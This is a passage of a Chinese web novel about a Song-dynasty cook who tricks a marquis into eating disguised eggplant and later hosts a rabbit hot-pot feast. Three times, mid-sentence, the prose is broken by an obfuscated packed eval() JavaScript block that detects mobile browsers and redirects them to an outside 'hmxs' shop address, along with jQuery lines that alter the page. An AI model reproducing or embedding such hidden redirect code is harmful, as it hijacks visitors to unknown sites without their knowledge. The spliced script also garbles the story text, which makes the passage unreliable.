齐悦直愣愣地瞅了她好一会儿，蓦地忍不住弯腰捂腹大笑，笑得前俯后仰：“才不过一日，你怎地就成这般玉容憔悴、魂魄飘零之样了？” 还笑还笑！这不都拜你那位“好兄长”所赐么！ 薛荔气不打一处来，拽过齐悦的袖子便晨跑起来，化悲愤为动力，步履飞快，惹得齐悦被拖得直喘，嘴中叫苦不迭，求饶良久，这才放缓了些速度。 “这事怎地就扯到我阿兄头上去了？”齐悦跑得满面涨红，鬓发凌乱，好不易歇了口气，忽而想到什么似的，嘻嘻笑起来，“莫非，昨夜他来你梦中相会了？” “去去去！”薛荔没好气地一巴掌拍她手背，这胡说的哪儿同哪儿呀！ 她同齐悦细细讲了昨日老太君午膳过后，自己于亭阁中偶遇齐恂后的一系列对话：“你说，你阿兄怎地如此较真？我不过是给旁人做了一些......” 话至一半，薛荔略有心虚地咳了两声，声气渐低，速速带过：“好一些吃食嘛......” 齐悦听得一愣，总觉着她的描述同自家兄长平日里的模样大相径庭，又忆起那日午膳时，他待薛荔异常冷淡的忽视态度，心绪一转，蓦地生出个不敢置信的结论。 33. 金松大雪贝 她被自己的这个想法惊得愕然片刻，回忆了下自家兄长那张冰山似的脸，又瞧瞧眼前薛荔——呃，眼下毫无乌青时的那张娇俏生花、楚楚动人的脸庞，兀自点了点头，愈想愈觉得有理。 还怪登对的哩！ 怪就怪自家阿兄阴沉寡言、淫威过甚，便是吃味了亦只会板着张冷脸，嚇得阿荔寝馈难安，这若是能讨到娘子，那母猪都可上树了！ 看样子，还得她这个做小妹的来助攻才是。 “你别听他那话刁钻，其实，我阿兄在吃食一事上无甚要求的。”齐悦真诚赞道，“他自幼便随军而行，军中条件艰苦，食物粗陋有限，吃糠饼、嚼咸齑那亦是常有的事，是以他从不挑拣吃食，极好养活。除此之外，经年的军旅生活还让他练就一身好本领，你是未见到过他在沙场上那英姿勃发的模样，执剑披甲，威风凛凛，骁勇无双，身大力不亏！脱下戎装来，那亦是一派玉树临风、翩翩公子之态，汴京城中倾慕他的小娘子可绕汴河足足三圈，你若是......” “欸等等——”薛荔急忙打止她，此话听着，怎么愈听愈奇怪，倒像推销似的，“你说他从不挑食，那他可有偏爱吃的？” 齐悦讪讪地笑了下，轻咳一声：“尤爱吃的倒也未有。噢！对了，他也不能算是全然不挑口，譬如落苏，他就不爱吃。” “落苏？”薛荔挑了挑眉，于心底悄悄记下。 齐悦点了点头，顺势凑近些，低声与她说起由来：“有年我阿兄在外领兵，军中粮草紧张，能用的吃食几近见底，只余下些落苏。恰好当时新火头兵上任，做了道‘落苏羹’，那手艺当真是匪夷所思，不可品评——落苏煮得稀烂，被混成一锅紫黑色的糊汤子，味道寡淡不说，甚至还带着些怪异的苦涩。彼时可怜的阿兄食不充口，只得硬生生吃下果腹，自那之后，便对落苏留下了极差印象，日后一见着那种紫色软塌塌的东西便心头发麻。” 一语毕，齐悦还不忘叮咛一句：“你做吃食时，可得千万记着躲开这个！” 哦，落苏是么...... 薛荔的唇角诡秘弯了弯，齐悦望着她这模样，竟于暑夏之日不由自主地打了个寒颤。 “你眼下乌青都浓得似墨染了，不如做午膳前歇一歇？”她有些许担忧薛荔的精神状态。 “歇不得。”薛荔脚下步伐反而愈发轻快起来，“我这法子可耽搁不得！” - 落苏这般好物，齐恂竟避之不及，当真是缺失了人生中的一大味觉乐趣。 但挑食这事怎能任由一次不美妙的经历作祟？ 薛荔于心底里窃窃地贼笑，这回她可得担起“匡正”之大任，好好行一次善事，帮他们侯爷纠正过来这一毛病，让他知晓——这世上没有不好吃的食材，只有不会做菜的厨子！ 否则，哪能对得起她一宿未眠的黑眼圈？ 不过听罢齐悦的描述，齐恂当是对落苏抵触至极，对其形、色、气味自然也更是敏锐，如此一来，若欲让他在浑然不知的情况下吃下落苏，唯有将它彻底伪装个漂亮模样，再加以调味，以此混淆视听。 薛荔微微锁着眉头，边想着，目光落至案上那一盘尚未下锅的芋球上，霎时灵光一现，眉梢飞起，心中已有定计。 灶台上的蒸笼冒着缭绕白气，她将落苏削去紫皮，切作细长的条子，送入笼中蒸透，待到用竹筷轻轻一戳，落苏便陷下去的绵软状态时，便取出冲凉，使劲儿拧干水份，搁入青石臼里，以木杵捣作细腻如脂的落苏泥，再搓成一颗颗桂圆大小的丸子球。 到这一步还不算完，这还只是将落苏重新赋形，滋味还不曾改变。 薛荔又另起锅炒香一把芝麻，接着将其倒入石磨里，碾成香喷喷的芝麻粉，再倾进木盆之中，混入琥珀色的蜂蜜，和上两大勺雪白的糯米粉，拌作柔软不粘手的蜜香面团。 不过，这糯米粉也太难把握添水量了罢！一时水多如浆，一时又干裂如沙，弄得她一身香汗都给揉出来。 薛荔两手粘着黏糊糊的湿润面团，只好弯过手腕抵着腰歇口气。 本着“粉多加水，水多加粉”的不二法则，这糯米团子终是是揉好了，只不过糯粉袋中的粉料空了大半，木盆里的糯团亦变大了不止一圈。 欸，好歹是不黏手了。 薛荔一边宽慰自己，一边将糯米团子分成许多个小剂子，再一个个压扁擀圆，包上先前做好的落苏馅儿。 至此，仍然不能结束。 她还提前准备了一把细索饼，泡在凉水里放着待用。 湿布盖着的过水面条带着些韧劲，她从水中轻柔捞出几缕，给糯米落苏球缠金线似的裹住全身。如是反复绕上三四层，这样一来，饶是落苏本苏来了都认不出，此乃自家连枝同气的亲兄弟。 她起锅烧油，见锅中小泡细细泛起，便将裹好的丸子球顺着锅边滑下去，只闻“滋啦”一声脆响，油面立时迸出金网似的泡沫，将团子裹在热浪里翻滚。 待到落苏球炸至金黄，薛荔便以铲子将其捞进竹筛里沥油，又趁这时候寻出桂花糖粉与花生粉，将二者混拌妥当，趁热将炸好的金丝落苏球滚进粉堆，来回晃动。 “哐当哐当”声罢，落苏球便覆上了满满一层黄澄澄、香酥酥的糖粉。 光是嗅着都香哩！ 她率先捻起一个烫手的金丝落苏球，小心翼翼地轻咬开一半。咬下的那刻，炸透了的索饼直在耳畔“咔嚓”脆响，里头软糯的糯米皮裹着落苏馅儿于唇舌之间冒着热气。 芝麻香，蜂蜜甘，糯粉绵，索饼脆，桂花馧，花生酽——哪儿还能尝出这是落苏所制成的吃食？ 薛荔比对着一旁他人做的芋球，又忆起昨日午后亭阁里齐恂撂下的隐隐吓唬似的话语，唇边浮出一抹狡黠的笑。 不食落苏？本小娘子还非得教你食不可，且还是不由自主、心甘情愿地食！ - 墨竹堂中，窗牖半开，夏日微风携着梨花香吹入室内，帘影轻晃。堂前几株茉莉正吐嫩蕊，枝叶婆娑，在风里画出一片清影。 云冯方才将近日汴京城内的暗线密报一一呈上，人还坐在椅子上，神思却早已飘远，两眼直勾勾地盯着堂外方向，似能穿透几重院墙，望见不远处那间藏香盈盈的膳房。 今日乃吃点心的日子，也不知薛小娘子做了何种美味点心给大家伙呢？ 他心里已按捺不住，暗自琢磨开来。 三日前吃的是“滴酥鲍螺”，那点心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16789389|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状若卷螺，皮薄如蝉翼，一口下去酥香四溢，内里雪白的奶油馅心还带着一丝微甜的潮润，将乳香与糖香一并封在唇齿之间，轻盈绵密、入口即化，那滋味他到如今仍难以忘却！ 但若能选择的话，他只盼能吃一回“狮蛮栗糕”——熟栗子肉捣末为泥，掺以糖蜜调和，香滑绵实，再以五色染米粉捏成狮形，张嘴咬下去，馅心厚而不腻，颗粒分明，只余满齿栗香，莫提有多满足了！ “城中酒楼、铺户账册，皆依吩咐密抄在此，还请侯爷过目。”身旁一谋士递上一摞账册。 齐恂接过，信手翻看几页，无意间抬眸稍一瞥，眉头微挑——云冯那副托腮发痴，望着窗外直咽口水的模样尽入眼底。 他沉了沉脸，卷起账册，手腕一翻，冷不防“啪”一声敲在云冯脑门上：“这般馋相，那人又做何吃食馋住你们众人了？” 云冯吃痛一声，回过神来，心中晓得侯爷说的是谁，脸上一阵青一阵红，挠了挠头，狡辩道：“侯爷明鉴，绝无此事呀！属下方才只是觉窗外风景宜人，才一时失神，断非贪嘴之念！” 诸位谋士皆知，侯府里头有位厨艺了得的御赐大厨。 有人听罢，失笑摇头：“云近卫若是为兴国寺旁那家珍味铺的薛掌柜手艺所馋，倒也不丢人。前段时日，我常往那处打尖儿，你莫说，还真是有过人之处。” “只说那道‘黄金瀑布芋泥’罢，以熟芋捣泥，拌入山蜜与牛乳，焗烤而成，外焦里润，也不知那芋泥上头那层撒料为何物，燔出来竟似金箔，又似蜜蜡，奶香馥馥，叫人舍不得吞下，以勺挑取时，竟又丝拉盈尺，当真奇观！” 另一谋士睁大了些眼，比出一个巴掌，插话进来：“还有那‘金松雪贝’！包体暄软，爆浆四溢。外头裹着酥脆肉茸与干苔，轻一口咬下去，奶膏充盈齿间，香而不腻，佐以酽茶下肚，我一顿能吞五个！” “嘿，我最记挂的，薛掌柜亲手调制的‘浮元子奶茶’！这儿的浮元子可不似诸君寻常所吃的一般大小，要更小些，大抵一片小指甲盖儿宽，长得晶莹剔透，嚼起来水晶皂儿似的软糯有劲，还携着股浓郁的黑糖味，搭配着牛乳，以芦苇管吸饮，滋味绝不比酪浆差！” 云冯一会儿转脸听这人说说，一会儿又转脸听那人赞赞，满腔惆怅尽写在自己脸上。 这才几日未去，珍味铺竟已添了这许多新点心，可他还一件未尝呢。 齐恂瞥他一眼，淡声问：“你们今日吃的是何点心？” 从不主动过问这些吃食的侯爷冷不丁关心起此事来，叫云冯一怔，旋即回道：“啊？哦哦！回侯爷，小娘子做的点心向来不定，常是当日随心而制，属下也不知今日是何物……不过，大多时候她会将点心在午膳前烹好。若侯爷想知，属下这便去瞧一眼！” 言罢，云冯忍不住满容喜色，轻快起身，却听身后一声冷喝：“回来！” 云冯急忙忙刹住步子，讪讪回头：“侯爷，不是您问……” 齐恂站起身来，淡然走至他身边，按住他肩头，将人稳稳压回坐席：“我何时说过，要你去看那点心？” 云冯一脸懵然：“......？” 诶？侯爷方才问话，不就是为的这个么？ 34. 整蛊落苏球 “妄揣主意，罚你三日不准沾点心。”齐恂澹然扫他一眼，“还有，为官直事，岂你容尸位素餐？罪加一等，今日子夜前，书房案头，我要见所有可疑账册，一本不漏。” 话音一落，云冯只觉只觉地转天旋，险些撅晕过去，满脸绝望。 敢问谁来为他这位苦命打工人仗义执言！ - 森郁的墨竹堂里，打工人的怨气浓浓，而这边，齐恂已然荡骀地踏上前往膳房的不归之途。 欲知晓今日那人做了什么点心是不假，可他不知自己亲自去看么？ 云冯那小子，心里揣的是何鬼点子，他岂会不知？馋虫一个，被一花容玉貌的小娘子几块点心便收买了去，意志薄弱的家伙。 搁往昔，宁武侯府何曾容得下此等收揽人心之举？ 也是这“收揽人心之法”依的是美食，而非何财帛珍宝，加之太母又喜欢她，他才未明言反对，睁一只眼闭一只眼便过去了。 可心里有一口气，他却始终咽不下去。 她莫非不知，自己究竟是谁的厨子？做了好吃的，成日都往旁人肚子里送...... 齐恂心头腾着一团无名火，但这般心性太不像自己，于是乎，将此归结为天气溽暑所致，心道需寻处荫凉地儿，冷静冷静再行。 只不过，经行至小花园时，偶闻洒扫的小女使三两闲话。 “欸，肚子好饿呀......方才嗅到膳房那头飘来的香气，馋得我都要流涎水了。”一盘空心鬟髻的女使抱着肚子，低声叹道。 “眼下这时辰，是薛小娘子在做点心罢？我也来闻闻——咦，这香气，倒像是我最爱的‘滴酥鲍螺’！”一旁簪素簪的女使眼神一亮。 “你那鼻子太不灵哩！我方才偷溜去瞄了眼，小娘子今日做的分明是糖酥芋球！”另一头系绢花的女使笑着反驳。 三人你一言我一语，说着说着竟玩起抓阄，想着派谁去讨几颗芋球解馋。未料，被一旁幽灵般路过的齐恂嚇去半条魂儿。 “见、见过侯爷！”三人“唰”地立成一排，齐齐低首，谁也不敢抬眼。 齐恂冷淡扫了她们一眼，不欲多言，也懒得计较，脑中细细思忖着那所谓的“糖酥芋球”，继续迈上“巡膳之路”。 及至膳房，里头只有郭栗祥同几位庖厨在抡勺颠锅，灶上的火苗窜得极旺，呲啦作响声中，锅气与菜香缭绕不绝，一日之中，最是令人脾胃温暖的一顿餐食便由此而出。 郭栗祥满意地嗅了嗅锅里食材的香气，转身抓料，一抬头，险些闪了腰。 膳房里来了稀客，不，是贵客哇！ 他语气里的惊讶毫不掩饰：“侯爷！您、您怎么来了？” 齐恂不动声色地扫视一圈，尚未作答，郭栗祥却早凭他那一颗活络脑瓜，飞速揣度而出了——侯爷这般模样，十有八九是寻人来了，可这灶房之中究竟是哪路仙人有这天大的脸面，天大的胆，竟教他亲自来寻？ “侯爷可是要见薛小娘子？”郭栗祥赶紧抹了把围裙，嘻嘻陪笑，一指窗边，“小娘子做好了点心，便先给大姐儿送去了，约莫还要一会儿才可回来呢。” 齐恂顺他所指望过去，果见灶台边搁着一只篮子，里头满满是圆滚滚的点心，想来便是方才小女使们所言的“糖酥芋球”。 他不大自在地轻咳两声，见一旁郭栗祥已转过身，气呼呼教训起把错了火候的小徒弟，四周无人留意自己，于是乎，盯着那篮子点心少顷，抿了抿唇角，终是以迅雷不及掩耳之势捻起一颗芋球，声色不动地送入唇间。 堂堂宁武侯，在自家膳房里居还需悄悄摸摸地拿东西吃，饶是他年幼之时都不曾做过此事。 齐恂面上罕见地染上一层薄绯色，却故作自若地品尝起口中之美食来——外壳金脆，似乎是以细索饼裹好炸出的一层脆壳，嚼开的那一瞬间，耳畔传来一阵酥酥麻麻的“沙沙”震响，花生、桂花的甜香滋味紧随其后。再往里，是其柔软的内陷，内陷外还包着一层软糯拉丝的糯米皮，可这内陷本身的口感却似乎不同于以往的“芋泥”。 口感没有寻常芋泥的粉糯、鲜甜，反倒有些绵长，且滋味清淡了些。 倒颇像是......？ 一个下肚，齐恂未大琢磨出那“芋球”馅中到底添了何物，只觉只觉滋味隐隐熟稔，似曾相识。于是，眉心微蹙，又捻起第二粒，送入口中细细咀嚼。 渐渐地，他眉头皱得更紧了些，视线重新落回那篮金灿灿、看似诱人的“糖酥芋球”之上。 “侯爷？” 一道熟悉的清脆女声倏然传来，齐恂咀嚼的动作一滞，迅速咽下口中的食物，转首望去。 只见薛荔臂弯处提溜着一空食盒，一派方自齐悦院中回来模样，立在门边直望着他，似乎是瞧见什么不得了情景，她那双小狐狸般的眼眸里扑闪着一丝讶然。 不就是亲临膳房吃了几口点心么，何必她惊讶至此...... 齐恂压下心头的那份莫名的不自在，斟酌着该说些什么话才显得自己从容自若些——算了，还是夸夸她好了。 他轻咳一声，握拳掩唇道：“你这‘糖酥芋球’滋味甚佳，做得不错。” “‘糖酥芋球’？”薛荔故作诧异，实则简直要压制不住心底的爆笑，而出于“做戏要做全套”的宗旨，她还是将翘起的嘴角压成了意外之色，“侯爷恕罪，此物并非什么‘糖酥芋球’，而是以落苏制成的‘金丝落苏球’呀！” 她话音方落，齐恂面色便“唰”地沉下来。 “你说什么？”他视线一凛，盯着那篮子点心，如鲠在喉。 薛荔走上前，弯身从灶架下方取出一只盖着布的食篮，揭开布帛，将其搁于他面前：“此物才是糖酥芋球，方炸好时，郭厨监担心芋物凉了发硬，便要我盖上盖布，收好保温。” 被点到名的郭栗祥正将一锅菜铲入盘中呢，余光还时不时偷偷往二人这边瞥，冷不防遭了齐恂冰碴似的一眼，后脊打了个寒颤，赶忙讪讪笑道：“我这不是怕大家伙吃着凉物闹肚子嘛，嘿，怪我，怪我......” 齐恂收回视线。 饶是如此，他一进膳房时，这篮金丝落苏球便摆在这显眼之处，未免也太过巧合了些。 他当即转眸，目光扫向薛荔，敏锐捕捉到她眸底一丝未藏好的狡黠。 “你不是同阿悦关系颇好？难道她从未告诉你，我的饮食喜恶？” 薛荔睁大眼，一本正经地摇头装傻：“昨日侯爷不是还说，想尝一顿‘从未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795226|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝过的美味’么，我既有得一手好厨艺傍身，自然不会取巧作弊了。” 她顿了顿：“更何况，众人皆道侯爷年少随军，沙场之上风餐露宿、苦楚备尝，我想，在那等艰辛情状之下，侯爷定不挑食，故而才选了落苏这样一种泛常菜。” 言罢，她忽又一脸关切地问询：“莫非，侯爷不喜落苏？！” 齐恂的脸色霎时更沉了。 郭栗祥听她这番话，恨铁不成钢道：“哎呀！侯爷他从不食......” “闭嘴。”齐恂冷冷吐出两个字。 郭栗祥麻利万分地闭上嘴，赶忙端着盘子，拽着几位摸不着头脑的小徒弟溜出了膳房，将空间留给这二人。 薛荔面露懊悔，叹惋道：“原来侯爷竟这般不喜落苏呀……若有人早些告知我，我定然便不取落苏入馔了。” 齐恂心底哼一声，面上却依旧若古井无波，俯首缓缓逼近她脸庞：“如今只剩你我二人，你确定，还要继续装下去？” 薛荔未太在意于他这一称谓，才不怕他哩，眼下满心里尽是对自己捉弄得逞后的喜悦：“儿家原也不愿见侯爷吃了自己所厌之物，可谁教侯爷自个儿偷吃在先呢？儿家一介平民女子，在这偌大侯府里，说白了亦就是一厨娘，哪敢妄管您喜食何物、厌食何物......欸欸欸！诶呀！疼——” 齐恂忽而抬手，轻一揪住她脸颊上的软肉，意料之中的，指下细腻滑嫩，手感颇好，淡淡道：“得了便宜还卖乖。” 薛荔脸颊一紧，挣扎数下，方拯救自己吹弹可破的脸蛋于冰山狼的魔爪之下，忙捂住被捏红了的脸颊，幽怨地瞪他：“堂堂宁武侯，竟欺负我一介手无缚鸡之力的小女子！男女还授受不亲呢！” 她可没忘，这还是在大宋呢，若是被有心之人撞见此等场景，再添油加醋地传了出去，他一介男子，且又是侯爷，能落得什么坏处？顶多博一蕴藉风流的盛名。 可她就惨了，保不齐会被扣上水性杨花的罪名，再依《宋刑统》来处置——脊杖、臀杖，甚或是徒一年半！ 薛荔想想都心中不平。 “云冯在外守着，连只蚊蝇都飞不进来，你担心什么？”见她吃瘪又气鼓鼓的模样，齐恂心情颇好，语气也带上几分揶揄，“再者，你对‘手无缚鸡之力’这话，莫不是有何误解？依我看，你宰鸡都恢恢有余，缚鸡自然也是应付裕如。” “世间有你这般厨艺之人少之又少，你若顾忌这点男女之嫌，反倒显得俗了——当摒弃成见才是。” 薛荔听着云冯在外，脑中不觉浮现出画本子里“公子佳人幽会，仆役在外放风”之荒唐画面。 人家年轻小儿女莺期燕约，不都有个忠心仆从在房外放哨么。 呸呸呸！这是甚么奇怪的想法。 “说来道去，侯爷不就是为误食落苏一事而恼么。”她突地往前一凑，仰头望他，眉眼弯弯撒赖道，“那敢问这道点心里的落苏，可是较侯爷心中所想的好吃些许？算不算得上是‘从未尝过的美味’与否呀？” 白白净净的一张小脸，忽然就近在咫尺，差几寸便要贴到他鼻尖上了。 齐恂的耳根子不争气地泛起红意，抿着唇，往后退了半步，克制着声音道：“今日便罢了，下不为例。” 35. 兔肉拨霞供 “哼，还‘下不为例’呢，当时我可瞧他吃得挺开心的。” 侯府膳房外热热闹闹，膳房里刀光闪烁。 薛荔抡着菜刀，“哒哒哒”将兔肉切成透光蝉翼似的薄片，一旁的姜喜鱼又惊又叹，忍不住附和吐槽道：“这些高门大户里长出来的人，不都是死要面子活受罪的主嘛。” “欸欸欸，可不能一棍子将人都打死。”不知何时，齐悦已溜到二人身后，两指捻起一只方炸好的虎皮鸭掌，送入嘴中，津津有味地脱起骨头来，“为了嘉肴美馔，本小娘子我就抹得开脸面！” “可不是么！”姜喜鱼抬手便去揪齐悦的脸，被后者鼓着两腮，笑嘻嘻地闪开，“这是待会儿要放进拨霞供里煮的，煮得软烂了才好吃，你现在偷吃完了，待会儿咱们吃什么？” “话说起来，这还是我头一回吃拨霞供呢。”齐悦一骨碌将骨头吐了个干净，凑到薛荔身旁，瞧那碟片得薄薄的鲜兔肉，假惺惺地咬牙，“兔子生得那般可爱，吃了它，总觉于心不忍。” “现在话是这般说，待会儿待到锅汤一滚，某人或许吃得比谁都香。”姜喜鱼凉凉地揭穿。 此话可算惹恼了齐悦，她一声“哼”，直将姜喜鱼追出膳房“算账”去了。 薛荔见状，忍俊不禁。 今日府中事务清闲，又因时隔甚久，齐恂终于吃了她所做的第二顿菜肴——嗯，还是被整蛊吃下的。 她心中甚是高兴，为庆祝此事，亦感谢近日来没少帮衬她的大家伙儿，便邀众人相聚夜里，吃上一顿热乎乎的拨霞供。 “拨霞供”颇似如今的火锅，只不过涮的不是牛羊，而是兔肉。 兔后腿肉片得极薄，以酒酱和大料腌制，再放入风炉烧滚的汤底中汆烫，俗称“摆浪涮熟”。因其肉片在沸汤中翻涌时，色泽渐渐宛如云霞染江，南宋美食家林洪于《山家清供》一书中便赞此景：“浪涌晴江雪，风翻照晚霞”。 果真，古人在吃上也是饶有意趣，诗意十足。 兔肉薄批、酒酱渍之后，便只余下最后一步——风炉涮。 薛荔以勺匙舀起汤底，略尝了一口，滋味清鲜又香醇，满意地点点头，双手垫着毛巾，将黄铜锅子端出去，又唤喜滋滋的早便候着享用美食的云冯，将风炉和其他配菜一并端出来。 要不说，他年纪轻轻，便能做上近卫一职呢？ 只见云冯左手托着那风炉，右手掌心上叠着三盘菜，臂膀上还稳稳排下来一溜菜碟——年糕、鸭肠、菉豆索粉、竹荪、白萝卜、响铃卷...... 便是他不干近卫这行，亦会被各家酒楼争着抢着招去罢。 “下肉下肉！” 薛荔兴冲冲地拾起长筷，将鲜兔肉一片片放入锅中，细心分开，以免粘连成坨子。 那兔肉才褪去绯色，便见七八双筷子急不可耐地往锅里伸，瞬时间叉作一团。 “郭栗祥！竟敢同本小娘子抢肉吃，你这侯府的铁饭碗还要不要了！”齐悦一边将筷子往前伸，一边恶狠狠地威胁。 郭栗祥的筷子正好与她的撞上，俩人你往左，我往左，你往右，我还往右，互不相让，颇有一番决一死战之感。 前者眼里只余下铜锅中翻腾的薄肉片，两眼闪光，朝齐悦憨实一笑：“这桌上可没有什么厨监和小娘子之分，大姐儿，失礼了——某先开动！” 话音未落，郭栗祥一个翻腕，锅中扑腾待救的那片兔肉便被他稳稳夹住，送入嘴中。 “厨监不蘸着酱碟佐食么？”薛荔抬手指了指桌上每人面前的莲花口小碟。 虽说兔肉片腌制过，但若空口吃，总觉着少点滋味，是以她用腐乳汁与芝麻酱调和，做成了类似于现代的麻酱佐碟。 郭栗祥细细品味着兔肉，微眯双眼，摇头晃脑地感叹：“无论何时吃拨霞供，第一口都该好好品尝食材最本真的滋味，这方是美味。” 齐悦未抢到肉，气得嗷嗷直叫：“阿荔！你看看你这徒弟！” 可不是么，昔日在珍味铺里，郭栗祥还曾是薛荔的忠实的学徒呢！ “莫急莫急，肉这就来。”薛荔又下了一大盘肉入锅，还往她碗中夹了一筷子脆弹的鸭肠，“你先尝尝这个，烫得正正好的鸭肠，还脆着呢。” 齐悦生于乔木世家，自幼吃的便是炊金馔玉、八珍玉食，哪尝过甚么下水菜？ 她盯着碗里那弯弯绕绕、模样怪异的索饼般东西，心里有些发怵：“这……此物当真能吃么？” “你就将它蘸进料碟里，当作索饼吸溜着吃，我保证，绝无一星半点儿的腥味！”薛荔信誓旦旦地保证。 齐悦于众人期待的眼神中，硬着头皮夹起短短一条鸭肠，于料碟之中浸了浸，而后慷慨赴义似的咬着牙吃下。 她紧闭着眼，嚼了片刻，再睁眸时，眼底竟闪出惊喜的光芒：“此物好生脆弹爽口！” “我早说了罢，我的口味怎会有差？”薛荔得意地笑。 想当初她做美食主播时，都是将鸭肠当面条子嗦的，那般才过瘾呢！ “嗯嗯！还有这什么糕！我先前从未吃过。放入铜锅中煮，虽软糯拉丝，却亦不失嚼头，还尽是糯米香！”云冯嘴中咬着半块年糕，另一半还“藕断丝连”地躺在碗里，忙碌地抬首赞道。 “是‘年糕’——”薛荔添道。 年糕最早出现于周朝，彼时并未被唤作“年糕”，而是名为“粢”，是将蒸熟的糯米与粳米捣碎，再揉压成饭团的食物。后来在汉代，它又被称为“稻饼”、“饵”和“糍”。直至魏晋南北朝时，“糕”这一称谓方广泛流行起来。 到了如今的大宋，年糕的花样已是丰富繁多，粗分为蒸食和油炸两类。譬如插小旗、撒栗子丁的重阳糕；前裹芝麻糖，后融桂花蜜的金??玉??糕；镶松仁、压鲤鱼纹的枣栗蜜糕；还有莹澈如玉，光洁可鉴的镜面糕……至于，这顿拨霞供中煮着的所谓年糕，则是薛荔独家秘制的水磨年糕。 传统的水磨工艺成型于清末，需经浸米、磨浆、抽燥、蒸煮、舂捣等十余道繁复工序，方能制成柔韧耐嚼的年糕。 从前她便颇爱吃这种软乎乎、糯叽叽的东西，也曾自己试着用破壁机与厨师机做过几回，最终效果都不错。奈何如今这大宋无现代厨房器具，只好靠她自个儿，以最原始的人力石磨将米磨细。 “这泡泡皱皱的卷子唤作何物？吃着有股豆香，还特别吸汤汁，煞是鲜美！”姜喜鱼说着，又夹起一个响铃卷，趁着汤汁未落，忙不迭塞进嘴中。 薛荔着急咽下口中那块煮得软烂透亮的白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800161|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萝卜，防不及防被烫着舌头，一边张嘴哈气，手直扇风，一边含糊不清解释道：“此物、唤作‘响铃卷’，以豆皮炸成，咬时会有清脆‘咔嚓’声，犹如铃铛作响，故称‘响铃’。” “来来来，薛小娘子赶紧喝一口浆水消消热。”一旁活泼的小女使赶忙递上一盏。 薛荔急急巴巴接过，牛饮似的喝下肚，解了口中滚热，这才发觉浆水是以冰块冰镇过的，怪不得效果奇佳呢，仔细一回味，酸酸甜甜，居然还携着木瓜的清香。 对上她惊喜的眸光，小女使咯咯笑着解释道：“我往浆水中加了些蜂蜜、桂花与木瓜汁水，明日还有许多活儿要干，今夜没法饮酒，这便算是以浆水代替酒水啦！” 话说回来，这浆水也称得上是宋人的乳酸菌饮料了。将熟米饭泡于冷水缸中，密封浸泡数日，天然酵母使淀粉糖化变酸，故而形成酸甜爽口的米汤水。 其可添入蜂蜜或花果，制成诸如荔枝浆水、桂花浆水此类风味变体，亦可将其拌入米饭之中，制成上至宫廷贵族，下至黎民百姓，皆可雅俗共赏之餐后甜点——“水饭”。 薛荔又抿了一口这冰镇得透凉的木瓜浆水，唇齿间酸甜清香缠绕，竟忍不住想，若当年陆游身边也有如此一盏清凉浆水，想来那“坐觉蒸炊釜甑中”的苦热之句，也不至流传后世了罢！ 她放下杯盏，抄起碗筷，夹了些竹荪、兔肉、白萝卜与菉豆索粉，眉眼间皆是满足地与众人同食起来，还没美滋滋地吃上几口呢，却忽被一道熟悉而威严的声音唤住。 众人听得这声调，皆差点噎住，虽坐于蒸腾热气的铜锅旁，依旧不免一阵冷颤。 “薛小娘子。”楚总管立身黢黑夜色之中，背对着院中散发幽暗光芒的石灯笼，森森然然，有些嚇人。 “在！”薛荔一个激灵，不知为何，当即便惊站了起来。 楚总管见众人这副反应，于心底长叹一声，无奈道：“你来一趟。” 薛荔心中懊悔不已，却亦只得过去。 她怎就将这号人物给忘了？怎么说都该将他一块拉来吃火锅，如此一来，大家成了一条绳上的蚂蚱，便无可指摘了。 “楚总管，我们这儿方开火呢，正想邀您一道来……”薛荔弱弱补救着。 楚总管却抬手打止：“我来，并非为此事。” “啊？”薛荔一头雾水。 他解释道：“今后你在侯府制膳，可在膳房旁舍歇息，那处已收拾妥当，物件齐全，只管住下便是。” “啊？” 薛荔连声疑惑，楚总管无言地瞅着她。 “敢问这是为何？”好端端的，怎地突然给她分了间房住？真教人纳闷。 楚总管回想起今日午后，侯爷吩咐自个儿的那番话，现如今又借着微弱灯光的映照，瞧见薛荔面上的淡淡倦意与眼下那片乌青，心中还有何不明了的？ 侯爷这是心疼薛小娘子，见她每日奔波劳碌，休息成了奢望，便特收拾出一间屋子来供她好生歇憩。 说是说膳房旁舍，可那间屋子宽敞明亮，除去没有院子，已是丝毫不比主人家住着的差了。 薛荔回过神来，思索起这一膳房旁舍——膳房旁的那间空屋舍，那不正是正对着齐恂墨竹堂书房的那间屋子么？！ 36. 本名大揭晓 墨竹堂的大门一敞，旁舍的窗牖一开，两人都可两两相望了！不行不行，绝对不行！她可不想成日见着齐恂那张冷峻面孔呢！ “不成不成，我能入侯府谋差已是三生有幸，怎可直接住下？这不是坏了规矩么？”她忙摆手推辞。 